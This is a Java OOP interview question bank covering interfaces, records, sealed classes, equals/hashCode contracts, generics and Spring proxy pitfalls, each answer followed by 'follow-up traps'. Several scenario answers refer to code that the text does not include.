
Aspect	Abstract class	Interface
State	instance fields	only `public static final` constants
Constructors	yes	no
Inheritance	one	many
Method access	any	public (or private helpers)

FOLLOW-UP TRAPS

- **Can an abstract class have no abstract methods?** Yes; it just can't be instantiated.
- **Can an interface have a constructor?** No.

#abstract-class #interface

Q4 What are default, static and private methods in interfaces? INTERMEDIATE

`default` (Java 8) gives an inheritable implementation so interfaces can evolve without breaking implementors; `static` (Java 8) holds utility methods called via the interface name; `private` (Java 9) holds shared code for default/static methods.

```
interface Validator<T> {
    boolean validate(T t);
    default Validator<T> and(Validator<T> o) { return x -> validate(x) && o.validate(x); }
    static <T> Validator<T> notNull() { return x -> x != null; }
    private void log(String m) { System.out.println(m); }
}
```

FOLLOW-UP TRAPS

- **Are static interface methods inherited by implementing classes?** No; call them as `Validator.notNull()` only.
- **Can a default method override `Object.equals`?** No, compile error; classes always win over interface defaults.

#interface #default-methods

Q5 How does Java resolve the diamond problem with default methods? INTERMEDIATE

Rules in order: a class method (own or inherited) wins over any interface default; a more specific interface wins over a less specific one; otherwise the class must override and may choose with `A.super.m()`.

```
interface A { default String hi() { return "A"; } }
interface B { default String hi() { return "B"; } }
class C implements A, B {
    public String hi() { return A.super.hi() + B.super.hi(); }
}
```

FOLLOW-UP TRAPS

- **What if C doesn't override?** Compile error: inherits unrelated defaults.
- **What if one is abstract in B and default in A?** Still a conflict; C must override.

#diamond #default-methods

Q6 Why is multiple inheritance of classes not allowed in Java? BASIC

To avoid ambiguity over inherited state and method implementations (the diamond problem) and to keep construction and layout simple. Multiple inheritance of type is allowed through interfaces; of behaviour through defaults with explicit conflict resolution.

FOLLOW-UP TRAPS

- **Then why does Java allow multiple interface inheritance?** Interfaces have no instance state, so no field ambiguity.

#inheritance

Q7 What are sealed classes and why were they introduced? INTERMEDIATE

`sealed` (final in Java 17) restricts which classes may extend or implement a type through `permits`. It gives a closed hierarchy that the compiler knows, enabling exhaustive `switch` without `default`.

```
sealed interface Payment permits Card, Upi, Wallet {}
record Card(String last4) implements Payment {}
record Upi(String vpa) implements Payment {}
final class Wallet implements Payment {}
```

- Each permitted subtype must be `final`, `sealed` or `non-sealed`.

FOLLOW-UP TRAPS

- **Must permitted subclasses be in the same file?** No; same module, or same package if in the unnamed module. If in the same file, `permits` can be omitted.
- **What does `non-sealed` do?** Reopens that branch to arbitrary subclasses.

#sealed #java17

Q8 What is a record and what does the compiler generate? BASIC

A record is a transparent, shallowly immutable data carrier. The compiler generates a canonical constructor, private final fields, accessors (`name()`, not `getName()`), and `equals`, `hashCode`, `toString`.

```
record Money(long cents, String currency) {
    Money {  // compact constructor
        if (cents < 0) throw new IllegalArgumentException();
    }
}
```

FOLLOW-UP TRAPS

- **Can a record extend a class?** No (it implicitly extends `java.lang.Record`), but it can implement interfaces.
- **Is a record deeply immutable?** No. A `List` component can still be mutated unless defensively copied.
- **Can a record have instance fields beyond components?** No; static fields are allowed.

#records #java16

Q9 Where are records a good fit in a backend, and where not? INTERMEDIATE

Good for DTOs, API request/response models, value objects, projections and map keys. Poor for JPA entities (need a no-arg constructor, mutable state, proxies) and for types with identity-based equality or lifecycle.

FOLLOW-UP TRAPS

- **Can Jackson serialise records?** Yes, since Jackson 2.12 and Spring Boot 2.5+/3.x.
- **Can Hibernate use records as `@Embeddable`?** Yes in Hibernate 6.2+; not as `@Entity`.

#records #dto #design

Q10 Explain method overriding rules. BASIC

Same name and parameter types; return type same or covariant; access not narrower; no broader checked exceptions; cannot override `private`, `static` or `final` methods. Use `@Override` so the compiler checks it.

FOLLOW-UP TRAPS

- **Can an override throw a broader unchecked exception?** Yes, unchecked exceptions are unrestricted.
- **Is `static` method redefinition overriding?** No, it is method hiding.

#overriding

Q11 What is method hiding? INTERMEDIATE

A static method in a subclass with the same signature *hides* the parent's. Resolution is by the declared (compile-time) type, not the runtime object. Fields are also hidden, never overridden.

FOLLOW-UP TRAPS

- **`Parent p = new Child(); p.staticM()` calls which?** `Parent.staticM()`.
- **Can an instance method hide a static one?** No; compile error.

#static #overriding

Q12 How does overload resolution work? INTERMEDIATE

At compile time the compiler picks by the static argument types in three phases: exact/widening primitive and subtyping, then boxing/unboxing, then varargs. The most specific applicable method wins.

FOLLOW-UP TRAPS

- **`m(Object)` vs `m(String)` with `null`?** `m(String)` is chosen (most specific).
- **`m(int...)` vs `m(long)` called with `m(5)`?** `m(long)`; widening beats varargs.

#overloading

Q13 What is a covariant return type? INTERMEDIATE

An overriding method may return a subtype of the parent's return type. The compiler adds a synthetic bridge method with the original signature that delegates to the new one.

```
class Animal { Animal self() { return this; } }
class Dog extends Animal { @Override Dog self() { return this; } }
```

FOLLOW-UP TRAPS

- **Do primitives support covariance?** No; `int` vs `long` return is a compile error.
- **Where do you see bridge methods?** `Comparable<T>` implementations and generic overrides; they show up in stack traces and reflection.

#covariant #overriding

Q14 How does constructor chaining work? BASIC

`this(...)` calls another constructor of the same class; `super(...)` calls a parent constructor. Either must be the first statement (before Java 22 preview relaxations), and if neither is written the compiler inserts `super()`.

FOLLOW-UP TRAPS

- **Can you use both `this()` and `super()` in one constructor?** No; both must be first.
- **Parent has no no-arg constructor and child doesn't call `super(...)`?** Compile error.

#constructors #chaining

Q15 What is the order of initialisation with inheritance? INTERMEDIATE

Class loading (first use): parent static init, then child static init. Per `new`: parent instance initialisers and field initialisers (textual order), parent constructor body, then child field initialisers and instance blocks, then child constructor body.

FOLLOW-UP TRAPS

- **Do static blocks run on every `new`?** No, once per class load.
- **Can the parent constructor see child field values?** Only defaults (`0` / `null`), because child fields are not initialised yet.

#init-order #inheritance

Q16 State the equals/hashCode contract. BASIC

`equals` must be reflexive, symmetric, transitive, consistent and `x.equals(null)` is false. If `a.equals(b)` then `a.hashCode() == b.hashCode()`. Unequal objects may share a hash code, but collisions hurt performance.

FOLLOW-UP TRAPS

- **Override only `equals`?** Breaks HashMap/HashSet lookups.
- **Can `hashCode` be constant?** Legal but degrades hashing to O(n) (treeified bins help only for `Comparable` keys).

#equals #hashcode

Q17 Why is `equals` with `instanceof` vs `getClass()` a design decision? ADVANCED

`getClass()` comparison preserves symmetry across subclasses but violates Liskov (a subclass instance never equals a parent). `instanceof` allows substitutability but breaks symmetry or transitivity once subclasses add state. Safest: make the class `final` or use composition.

FOLLOW-UP TRAPS

- **What does Hibernate imply here?** Proxies are subclasses, so `getClass()` equality on entities breaks; use `instanceof` plus business key or id.

#equals #liskov

Q18 Is it safe to use mutable fields in `hashCode`? INTERMEDIATE

No. If a key's hash changes after insertion into a `HashMap` / `HashSet`, the entry sits in the wrong bucket and becomes unreachable via `get` / `contains` / `remove`.

FOLLOW-UP TRAPS

- **Will the entry disappear from iteration?** No, it still iterates; it just can't be found by key.

#hashcode #mutability

Q19 How do you create an immutable class? BASIC

Make the class `final` (or constructors private), all fields `private final`, no setters, defensively copy mutable inputs in the constructor and outputs in getters, and don't leak `this` during construction.

```
public final class Order {
    private final List<String> items;
    public Order(List<String> items) { this.items = List.copyOf(items); }
    public List<String> items() { return items; }
}
```

FOLLOW-UP TRAPS

- **Is `Collections.unmodifiableList(list)` enough?** No; it's a view, mutations of the original show through. Use `List.copyOf`.
- **Why `final` class?** To stop a subclass from adding mutability.

#immutability

Q20 What are the benefits of immutability for backend systems? INTERMEDIATE

Thread safety without locks, safe sharing and caching, safe use as map keys, simpler reasoning and failure atomicity. Cost: object allocation per change; mitigate with builders or `withX` copies.

FOLLOW-UP TRAPS

- **Are final fields safely published?** Yes, the JMM guarantees visibility of final fields after constructor completion if `this` does not escape.

#immutability #concurrency

Q21 Composition vs inheritance: which to prefer and why? INTERMEDIATE

Prefer composition ("has-a") because inheritance couples a subclass to the parent's implementation (fragile base class) and exposes all inherited methods. Use inheritance only for true is-a relationships designed for extension.

FOLLOW-UP TRAPS

- **Classic example of inheritance breaking?** `HashSet` subclass overriding `add` and `addAll` to count items: `addAll` internally calls `add`, so counts double.
- **How do you avoid delegating boilerplate?** Interfaces + delegates, or Lombok `@Delegate`, or IDE generation.

#composition #inheritance

Q22 Explain SOLID with backend examples. INTERMEDIATE

- **S**: a `UserService` should not also send emails and render PDFs; split into collaborators.
- **O**: add a new discount rule by adding a `DiscountStrategy` bean, not by editing an `if` chain.
- **L**: a `ReadOnlyRepository` subclass that throws on `save` violates substitutability.
- **I**: split a fat `OrderOperations` interface so a reporting client doesn't depend on `cancel()`.
- **D**: services depend on `PaymentGateway` interface, injected by Spring, not on `StripeClient`.

FOLLOW-UP TRAPS

- **Is DIP the same as dependency injection?** No. DIP is the principle (depend on abstractions); DI is one technique to supply them.

#solid #design

Q23 What is the Liskov Substitution Principle and how is it commonly violated? INTERMEDIATE

Subtypes must be usable wherever the parent is expected without breaking correctness. Violations: strengthening preconditions, weakening postconditions, throwing unexpected exceptions, or ignoring the contract (e.g. `Square extends Rectangle` with coupled setters).

FOLLOW-UP TRAPS

- **Does `Collections.unmodifiableList` violate LSP?** Arguably yes; `List.add` is optional per its contract, which makes the type's contract weak.

#solid #lsp

Q24 Name the types of nested classes and their differences. BASIC

Static nested (no outer instance), inner (non-static; holds an implicit outer reference), local (declared in a method), anonymous (unnamed, declared inline). Local and anonymous classes capture effectively final variables.

FOLLOW-UP TRAPS

- **How do you instantiate an inner class from outside?** `outer.new Inner()`.
- **Which of these can have static members?** Since Java 16, inner classes can declare static members too.

#inner-class #nested

Q25 Why can inner classes cause memory leaks? INTERMEDIATE

A non-static inner or anonymous class holds a hidden reference to its enclosing instance. If the inner object outlives the outer (stored in a cache, listener list, or thread), the outer and everything it references can't be collected. Prefer static nested classes or lambdas that don't capture `this`.

FOLLOW-UP TRAPS

- **Do lambdas capture `this`?** Only if they reference instance members.

#inner-class #memory

Q26 Anonymous class vs lambda: how do they differ? INTERMEDIATE

An anonymous class is a new class (own `.class` file) with its own `this`, can implement any interface or extend a class, and can have state. A lambda needs a functional interface, `this` refers to the enclosing instance, and it compiles via `invokedynamic`.

FOLLOW-UP TRAPS

- **Can a lambda capture a non-final local?** No; it must be effectively final.
- **Can an anonymous class implement two interfaces?** No, only one supertype.

#lambda #anonymous-class

Q27 What can enums do in Java beyond constants? BASIC

Enums are classes with a fixed set of singleton instances. They can have fields, constructors (implicitly private), methods, implement interfaces, and have constant-specific bodies. They provide `values()`, `valueOf`, `ordinal()`, `name()`, and work in `switch`, `EnumMap`, `EnumSet`.

```
enum Status {
    ACTIVE("A"), BLOCKED("B");
    private final String code;
    Status(String code) { this.code = code; }
    String code() { return code; }
}
```

FOLLOW-UP TRAPS

- **Can an enum extend a class?** No; it implicitly extends `java.lang.Enum`.
- **Is it safe to persist `ordinal()`?** No; reordering constants corrupts data. Use `EnumType.STRING` or an explicit code.

#enum

Q28 Why is an enum the best way to implement a singleton? INTERMEDIATE

The JVM guarantees one instance per constant, thread-safe initialisation, and the serialisation and reflection attacks that break class-based singletons are blocked (`Enum` serialises by name; reflective `newInstance` throws).

FOLLOW-UP TRAPS

- **Downside?** Cannot extend a class and initialisation is eager at class load of the enum.

#enum #singleton

Q29 List the methods of `java.lang.Object`. BASIC

`equals`, `hashCode`, `toString`, `getClass`, `clone` (protected), `finalize` (deprecated for removal), `wait` (3 overloads), `notify`, `notifyAll`.

FOLLOW-UP TRAPS

- **Which are final?** `getClass`, `notify`, `notifyAll`, `wait`.
- **Default `toString`?** `ClassName@hex(hashCode)`.

#object

Q30 What is the default `equals` and `hashCode` in `Object`? BASIC

`equals` is reference identity (`this == o`); `hashCode` is an implementation-specific identity hash, typically derived from the object header, not the memory address as such.

FOLLOW-UP TRAPS

- **Is identity hashCode unique?** No, collisions are possible.

#object #equals

Q31 Why is `clone()` considered broken and what are the alternatives? INTERMEDIATE

`Object.clone()` is protected, requires implementing the marker interface `Cloneable`, does a shallow field copy without calling constructors, and throws a checked `CloneNotSupportedException`. Prefer copy constructors, static factories or records with `withX` methods.

FOLLOW-UP TRAPS

- **Shallow vs deep copy?** Shallow copies reference fields as-is; deep recursively clones them, which you must implement.
- **Do arrays support clone?** Yes, `arr.clone()` is public and shallow.

#clone

Q32 What happens if a class overrides `clone()` without implementing `Cloneable`? INTERMEDIATE

Calling `super.clone()` throws `CloneNotSupportedException` at runtime, because `Object.clone` checks for the `Cloneable` marker.

FOLLOW-UP TRAPS

- **Does `Cloneable` declare `clone()`?** No, it is an empty marker interface.

#clone #cloneable

Q33 What are generics and why were they added? BASIC

Generics add compile-time type parameters to classes and methods, removing casts and catching type errors at compile time instead of `ClassCastException` at runtime.

FOLLOW-UP TRAPS

- **Are generics a runtime feature?** No; they are erased (see type erasure).
- **Can you use primitives as type arguments?** No; use wrappers.

#generics

Q34 What is type erasure and what are its consequences? INTERMEDIATE

The compiler removes type arguments after checking, replacing type variables with their bound (or `Object`) and inserting casts. Hence `List<String>` and `List<Integer>` are the same class at runtime.

- No `new T()`, `new T[]`, `instanceof List<String>`, or generic static fields of type `T`.
- Overloads differing only in type arguments clash (`m(List<String>)` vs `m(List<Integer>)`).

> **FOLLOW-UP TRAPS**
> - **How do frameworks get generic types at runtime?** Via `Type` tokens (`TypeReference`, `ParameterizedTypeReference`) using generic info retained in class signatures.

#generics #erasure

Q35 Explain wildcards: `?`, `? extends T`, `? super T` and PECS. INTERMEDIATE

Producer Extends, Consumer Super. `List<? extends Number>` can be read as `Number` but not added to (except `null`); `List<? super Integer>` can accept `Integer` but reads only yield `Object`.

```
static double sum(List<? extends Number> src) { double s = 0; for (Number n : src) s +=
n.doubleValue(); return s; }
static void fill(List<? super Integer> dst) { dst.add(42); }
```

> **FOLLOW-UP TRAPS**
> - **Is `List<Integer>` a `List<Number>`?** No; generics are invariant. Arrays are covariant (and unsafe).
> - **Why `Collections.copy(List<? super T> dest, List<? extends T> src)`?** It is PECS in the JDK.

#generics #wildcards

Q36 Why are arrays covariant but generics invariant? ADVANCED

Arrays are reified and checked at runtime (`ArrayStoreException`), so covariance is allowed historically. Generics are erased, so covariance would allow heap pollution with no runtime check; invariance keeps compile-time safety.

> **FOLLOW-UP TRAPS**
> - **What does `Number[] a = new Integer[1]; a[0] = 1.5;` do?** Compiles, throws `ArrayStoreException`.

#generics #arrays

Q37 What is a bounded type parameter? INTERMEDIATE

`<T extends Comparable<T>>` restricts `T` so you can call bound methods. Multiple bounds use `&` with the class first: `<T extends Number & Comparable<T>>`.

> **FOLLOW-UP TRAPS**
> - **Is `extends` used for interfaces in bounds?** Yes, always `extends`, never `implements`.

#generics #bounds

Q38 What is heap pollution and `@SafeVarargs`? ADVANCED

Heap pollution is when a variable of a parameterised type refers to an object that isn't of that type, typically via raw types or generic varargs (`T...` creates a `T[]` that erases to `Object[]`). `@SafeVarargs` asserts the method doesn't misuse the array; it is allowed on `static`, `final`, `private` methods and constructors.

> **FOLLOW-UP TRAPS**
> - **Why not on regular instance methods?** They can be overridden by an unsafe version.

#generics #varargs

Q39 Explain Java access modifiers. BASIC

Modifier	Class	Package	Subclass	World
`private`	yes	no	no	no
(default)	yes	yes	no	no
`protected`	yes	yes	yes	no
`public`	yes	yes	yes	yes

FOLLOW-UP TRAPS

- **Can a top-level class be `private` or `protected`?** No, only public or package-private.
- **Does `protected` allow access via a parent reference from a subclass in another package?** No; only through the subclass type (or its subtypes).

#access-modifiers

Q40 How do Java modules (JPMS) affect `public`? ADVANCED

In a named module, a `public` type is accessible outside only if its package is `exports`ed (and reflectively only if `opens`). This enables strong encapsulation of internals, which is why `--add-opens` is needed for old frameworks on Java 17.

FOLLOW-UP TRAPS

- **Why did Java 17 break reflection hacks?** JDK internals are strongly encapsulated by default (JEP 403).

#access-modifiers #jpms

Q41 What does the `final` keyword mean on class, method and variable in OOP design? BASIC

`final` class cannot be extended; `final` method cannot be overridden; `final` variable cannot be reassigned (a final reference can still point to a mutable object).

FOLLOW-UP TRAPS

- **Can a `final` method be overloaded?** Yes.
- **Can Spring proxy a final class?** CGLIB proxies cannot subclass it, so `@Transactional` on final classes/methods silently has no effect or fails.

#final

Q42 What is the difference between `static` and instance members in OOP terms? BASIC

Static members belong to the class (one copy, no `this`, no polymorphic dispatch); instance members belong to each object. Static methods can't be overridden or mocked easily, so heavy use hurts testability.

FOLLOW-UP TRAPS

- **Can a static method access instance fields?** Only through an object reference.

#static

Q43 What is the difference between `==` and `equals` for objects, and for enums? BASIC

`==` compares references; `equals` compares logical equality as defined by the class. For enums `==` is correct and null-safe, as `Enum.equals` is final and identity-based.

FOLLOW-UP TRAPS

- **Which is null-safe: `a.equals(b)` or `Objects.equals(a, b)`?** The latter.

#equality #enum

Q44 What is the role of `toString()` and what pitfalls does it have in entities? BASIC

`toString` gives a diagnostic representation used in logs and debuggers. In JPA entities, including lazy associations triggers extra queries or `LazyInitializationException`, and bidirectional relations cause infinite recursion. Also never include secrets.

FOLLOW-UP TRAPS

- **Does Lombok `@Data` on an entity cause this?** Yes, it generates `toString`, `equals`, `hashCode` over all fields.

#tostring #jpa

Q45 How do you design a good `compareTo` and keep it consistent with `equals`? INTERMEDIATE

`compareTo` must be antisymmetric, transitive and consistent; it is "consistent with equals" when `compareTo == 0` iff `equals` is true. Inconsistency makes `TreeSet` treat distinct-by-equals items as duplicates.

FOLLOW-UP TRAPS

- **Classic example?** `BigDecimal("1.0")` and `BigDecimal("1.00")` are not `equals` but `compareTo == 0`, so a `HashSet` keeps both and a `TreeSet` keeps one.
- **Subtract ints for compare?** Overflow risk; use `Integer.compare`.

#comparable #equals

Q46 What is the difference between `Comparable` and `Comparator`? BASIC

`Comparable` defines a class's single natural order (`compareTo`); `Comparator` is an external, pluggable ordering (`Comparator.comparing(...).thenComparing(...)`), allowing multiple orders without modifying the class.

FOLLOW-UP TRAPS

- **Null handling?** Use `Comparator.nullsFirst/nullsLast`.

#comparable #comparator

Q47 What is the Template Method pattern and how does it relate to abstract classes? INTERMEDIATE

A `final` method in an abstract base defines the algorithm skeleton, calling abstract/hook methods that subclasses implement. Example: Spring's `JdbcTemplate` and `AbstractRoutingDataSource`; many are now callback/strategy based.

FOLLOW-UP TRAPS

- **Why make the skeleton `final`?** So subclasses can't change the algorithm order.

#patterns #abstract-class

Q48 Strategy vs State pattern: what's the difference? INTERMEDIATE

Both delegate to an interchangeable object. Strategy is chosen by the client and objects don't know each other (e.g. `PricingStrategy`). State is driven by the context's internal transitions and states usually trigger the next state (e.g. order lifecycle).

FOLLOW-UP TRAPS

- **Can an enum act as either?** Yes; enums with constant-specific methods are a compact strategy/state.

#patterns #design

Q49 What is dependency injection and how does it support OOP design? BASIC

Objects receive collaborators from outside rather than constructing them, which supports DIP, loose coupling and test doubles. Prefer constructor injection: dependencies are explicit, can be `final`, and the object is never half-built.

> **FOLLOW-UP TRAPS**
> - **Why not field injection?** Hides dependencies, blocks `final`, needs reflection or the container for tests.

#di #solid

Q50 What is the difference between `instanceof` pattern matching and casting (Java 16+)? INTERMEDIATE

`if (o instanceof Circle c)` tests and binds in one step, removing a manual cast. Binding scope is flow-sensitive. With sealed types and Java 21 pattern `switch` it replaces visitor-like code.

```
double area(Shape s) {
    return switch (s) {
        case Circle c -> Math.PI * c.r() * c.r();
        case Square q -> q.side() * q.side();
    };
}
```

> **FOLLOW-UP TRAPS**
> - **Does this switch need `default`?** Not if `Shape` is sealed and covers all permitted subtypes.
> - **Is `null` handled?** `switch` throws NPE on null unless there's `case null`.

#pattern-matching #java17

Q51 What is a marker interface and are annotations better? BASIC

An interface with no methods (`Serializable`, `Cloneable`, `RandomAccess`) that tags a type; it can be used as a parameter type for compile-time checking. Annotations carry metadata and parameters but are not part of the type system.

> **FOLLOW-UP TRAPS**
> - **When is a marker interface better?** When you need to constrain method parameters to tagged types.

#marker #interface

Q52 How do the `abstract` keyword restrictions interact with other modifiers? INTERMEDIATE

`abstract` cannot combine with `final`, `private`, or `static` on a method (nothing could implement or dispatch it); a class with an abstract method must be declared abstract. A constructor can't be abstract.

> **FOLLOW-UP TRAPS**
> - **Can an abstract class be `final`?** No.
> - **Can you call an abstract method from an abstract class constructor?** Yes, but it runs on an uninitialised subclass, which is a classic bug.

#abstract #modifiers

Scenarios

Q53 What does this print? INTERMEDIATE

```
C.init x=0
x=5
```

The parent constructor calls the overridden `init` before `C`'s field initialisers run, so `x` is still `0`. Never call overridable methods from constructors.

FOLLOW-UP TRAPS

- **What if `x` were `final int x = 5`?** A compile-time constant is inlined, so `C.init x=5` prints; this is a subtle exception.
- **What if `x` is `Integer`?** It would be `null`.

#init-order #constructors

Q54 What is the full output order? INTERMEDIATE

```
A-s
B-s
A-i
A-c
B-i
B-c
A-i
A-c
B-i
B-c
```

Static blocks run once at class initialisation (parent first); instance blocks and constructors run per object, parent first.

FOLLOW-UP TRAPS

- **Does `B.class` literal trigger static init?** No; loading without initialisation.
- **Does accessing a `static final` constant trigger it?** Not for compile-time constants.

#init-order #static

Q55 What gets printed with overloading and `null`? INTERMEDIATE

Compile error: reference to `m` is ambiguous, since `String` and `Integer` are both more specific than `Object` and neither is more specific than the other. Removing one overload makes the call resolve to the remaining specific one.

FOLLOW-UP TRAPS

- **How to disambiguate?** Cast: `m((String) null)`.

#overloading #null

Q56 Overloading vs overriding in one call: what is printed? INTERMEDIATE

`A.Object`. `B.f(String)` is an overload, not an override. The compiler picks `f(Object)` from `A`'s methods (static type), and the runtime finds no override of it in `B`.

FOLLOW-UP TRAPS

- **What would catch this?** `@Override` on `B.f(String)` gives a compile error.
- **And with `B b = new B(); b.f("x")`?** `B.String`.

#overloading #overriding

Q57 What happens with field hiding? INTERMEDIATE

`P P C`. Fields are resolved by the static type, never polymorphically. `get()` is defined in `P`, so it sees `P.name`.

FOLLOW-UP TRAPS

- **How many `name` fields does the object contain?** Two.

#fields #hiding

Q58 What does a static method call through a null reference do? BASIC

Prints `hi`. The compiler resolves a static method by the declared type and ignores the reference value, so no NPE. It is poor style and flagged by linters.

> **FOLLOW-UP TRAPS**
> - **And for an instance method on `null`?** `NullPointerException`.

#static #null

Q59 What happens if you override `equals` but not `hashCode` and use the class as a HashMap key? BASIC

Almost always `null`. The two equal keys use identity hash codes, so they land in different buckets and `equals` is never consulted. It may print `a` by rare collision, which makes the bug intermittent.

> **FOLLOW-UP TRAPS**
> - **Fix?** Override `hashCode` with `Objects.hash(id)` (or use a record).
> - **Does `HashSet` behave the same?** Yes, it's backed by `HashMap`.

#equals #hashcode #hashmap

Q60 What happens when a mutable key is changed after insertion? INTERMEDIATE

`false 1`. The element is stored in the bucket for hash 1; `contains` looks in the bucket for hash 2. The element is lost to lookups and can't be removed (a memory leak in long-lived sets).

> **FOLLOW-UP TRAPS**
> - **Does `s.add(k)` now add a second copy?** Yes, size becomes 2 and `k` appears twice.

#hashset #mutability

Q61 Does this equals implementation satisfy the contract? ADVANCED

No. `point.equals(colorPoint)` is true but `colorPoint.equals(point)` is false, breaking symmetry. It also ignores `y` in `Point`, possibly a bug. Fixes: make the classes final, use composition (`ColorPoint` has a `Point`), or use `getClass()` in both (losing LSP).

> **FOLLOW-UP TRAPS**
> - **Can you add state in a subclass and keep equals correct?** Not with inheritance; Bloch's classic result.

#equals #symmetry

Q62 What is the output and why? BASIC

`false true true`. `new String` creates a separate heap object; `intern()` returns the pooled instance, which is the literal `a`.

> **FOLLOW-UP TRAPS**
> - **Why is `String` immutable?** Enables pooling, caching of hash, thread safety and safe use in security-sensitive fields.

#equals #string

Q63 Can a subclass reduce a method's visibility? BASIC

Compile error: attempting to assign weaker access privileges. An override must be the same or more visible, otherwise `P p = new C(); p.run()` would violate the parent contract.

FOLLOW-UP TRAPS

- **Can it widen `protected` to `public`?** Yes.

#overriding #access-modifiers

Q64 **What happens with checked exceptions in overrides?** INTERMEDIATE

Compile error. An override may throw the same, narrower or no checked exceptions, never broader. Unchecked exceptions are always allowed.

FOLLOW-UP TRAPS

- **Can the override throw `FileNotFoundException`?** Yes, it is a subclass of `IOException`.
- **Constructor rule?** A subclass constructor must declare the parent constructor's checked exceptions.

#overriding #exceptions

Q65 **What is printed for a private method "override"?** INTERMEDIATE

`P`. Private methods are not inherited and so can't be overridden; `C.who` is an unrelated method. `call()` binds to `P.who` at compile time.

FOLLOW-UP TRAPS

- **If `who` were package-private in `P` and `C` in a different package?** Also not overridden; `@Override` would fail.

#overriding #private

Q66 **A service class marked `final` is annotated with `@Transactional`. What happens?** INTERMEDIATE

Spring's class-based (CGLIB) proxy cannot subclass a final class or override final methods, so Spring Boot either fails at startup (final class) or the transaction advice is silently skipped for final methods (calls run the target directly). Use interface-based proxies or remove `final`. Kotlin's default-final classes need the `allopen` plugin for the same reason.

FOLLOW-UP TRAPS

- **Does it work with a private `@Transactional` method?** No, proxies only intercept public/protected-visible external calls.

#final #proxies #spring

Q67 **What happens in this self-invocation?** INTERMEDIATE

No transaction starts for `audit()` when called from `place()`. The call goes through `this`, bypassing the Spring proxy. Move `audit` to another bean, or inject self, or use `TransactionTemplate`.

FOLLOW-UP TRAPS

- **Does AspectJ weaving fix it?** Yes; weaving changes bytecode so internal calls are advised.

#proxies #spring #encapsulation

Q68 **A parent class constructor must call `super(...)` with a value computed from constructor args. How?** BASIC

Compute inline in the `super(...)` call, using a static helper: `Child(int n) { super(format(n)); }` with `private static String format(int n)`. Instance methods can't be called before `super` returns.

FOLLOW-UP TRAPS

- **Can you use a local variable computed before `super`?** Not in Java 17/21; the first statement must be the explicit constructor call (Java 22 previews relaxing it).

#constructors #chaining

Q69 What does this record code do? BASIC

Throws `IllegalArgumentException` from the compact canonical constructor. Compact constructors run validation/normalisation before fields are assigned automatically at the end; assigning to `this.lo` inside is an error, assign to the parameter instead.

FOLLOW-UP TRAPS

- **Can you reassign parameter `lo` in the compact constructor?** Yes, e.g. `lo = Math.max(lo, 0);` and the result is stored.

#records #validation

Q70 A record holds a `List<String>`. Is it immutable? INTERMEDIATE

Prints `[a, b]`. Records are only shallowly immutable. Fix with a compact constructor: `members = List.copyOf(members);`.

FOLLOW-UP TRAPS

- **Does `List.copyOf` accept nulls?** No, it throws NPE for null list or elements.

#records #immutability

Q71 Does a record break when you add an extra field? INTERMEDIATE

Instance fields outside the header are not allowed: compile error. Add a derived method instead, or a static factory. If you need extra mutable state, use a class.

```
record Person(String first, String last) {
    String full() { return first + " " + last; }
}
```

FOLLOW-UP TRAPS

- **Can a record define `equals` itself?** Yes, but it must preserve the contract; rarely needed.

#records #limitations

Q72 What happens if you add a new subclass to a sealed hierarchy used in a switch? ADVANCED

Every exhaustive `switch` without `default` stops compiling until `Triangle` is handled, which is the point: the compiler finds all places affected. If code is compiled separately and not rebuilt, the runtime throws `MatchException` (`IncompatibleClassChangeError` in older preview forms).

FOLLOW-UP TRAPS

- **Downside of `default` in a switch over sealed types?** It silences the exhaustiveness check.

#sealed #switch

Q73 Can this class extend the sealed interface? INTERMEDIATE

No: compile error, because `Updated` isn't listed in `permits`. Add it to the list or declare it nested/in the same file without `permits`.

FOLLOW-UP TRAPS

- **Can a record be a permitted subtype?** Yes, records are implicitly `final`.
- **Can an enum?** Yes, enums are implicitly final or sealed.

#sealed #compile-error

Q74 **Design: how would you model payment methods so adding a new type is safe?** INTERMEDIATE

Use a sealed interface with record implementations and pattern-matching `switch` for operations that vary by type; this makes the type set closed and compiler-checked. If new types come from plug-ins, use an open interface with Strategy beans instead. Trade-off: sealed favours adding operations, open interfaces favour adding types.

FOLLOW-UP TRAPS

- **Which is the expression problem side for visitor?** Visitor makes adding operations easy and types hard; sealed + switch gives the same with less boilerplate.

#sealed #design #polymorphism

Q75 **What happens when two interfaces provide the same default method and the class is silent?** INTERMEDIATE

Compile error: `C` inherits unrelated defaults for `go()`. Override `go()` in `C` and delegate with `A.super.go()` if desired.

FOLLOW-UP TRAPS

- **What if `A extends B` and overrides `go()`?** No conflict; A's more specific default wins.

#default-methods #diamond

Q76 **A class and an interface both define `toString`-like method `name()`: who wins?** INTERMEDIATE

`base`. The "class wins" rule: a method inherited from a superclass beats an interface default.

FOLLOW-UP TRAPS

- **What if `Base.name` were package-private and not accessible?** Compile error due to weaker access when implementing the interface.

#default-methods #resolution

Q77 **What does this covariant override print?** BASIC

`B`. Dispatch is on the runtime type; the static type `A` only determines which signature compiles. Through bridge method `A make()` the call lands in `B.make()`.

FOLLOW-UP TRAPS

- **Can `a.make()` be assigned to `B` without a cast?** No; static return type is `A`.

#covariant #polymorphism

Q78 **What happens in the following generic code?** INTERMEDIATE

Compiles with unchecked warnings; `raw.add(42)` succeeds due to erasure, and `strs.get(0)` throws `ClassCastException` at the compiler-inserted cast, far from the real bug (heap pollution).

FOLLOW-UP TRAPS

- **How to defend?** Avoid raw types; `Collections.checkedList` adds runtime checks.

#generics #erasure

Q79 **Will this compile?** INTERMEDIATE

Line 1 fails (invariance). Line 2 compiles. Line 3 fails: the compiler can't know the exact element type, so only `null` can be added. Use `? super Integer` for writing.

> **FOLLOW-UP TRAPS**
> - **What is "capture conversion"?** The compiler treats `?` as an unknown but specific type `CAP#1`.

#generics #wildcards

Q80 **Why does this not compile and how do you fix it?** INTERMEDIATE

`T` is erased, so the JVM can't instantiate it. Pass a `Supplier<T>` or `Class<T>` token: `Box(Supplier<T> s)` then `s.get()`.

> **FOLLOW-UP TRAPS**
> - **Why can't you create `new T[10]`?** Same reason; use `(T[]) new Object[10]` with a warning, or `Array.newInstance`.

#generics #erasure

Q81 **Do these two overloads compile?** INTERMEDIATE

Compile error: name clash, same erasure `save(List)`. Rename them or differentiate by another parameter.

> **FOLLOW-UP TRAPS**
> - **Would different return types fix it?** No; the return type isn't part of the signature.

#generics #erasure #overloading

Q82 **What happens when you modify a `HashMap` key set via a subclass equals that uses `getClass()`, with a Hibernate proxy?** ADVANCED

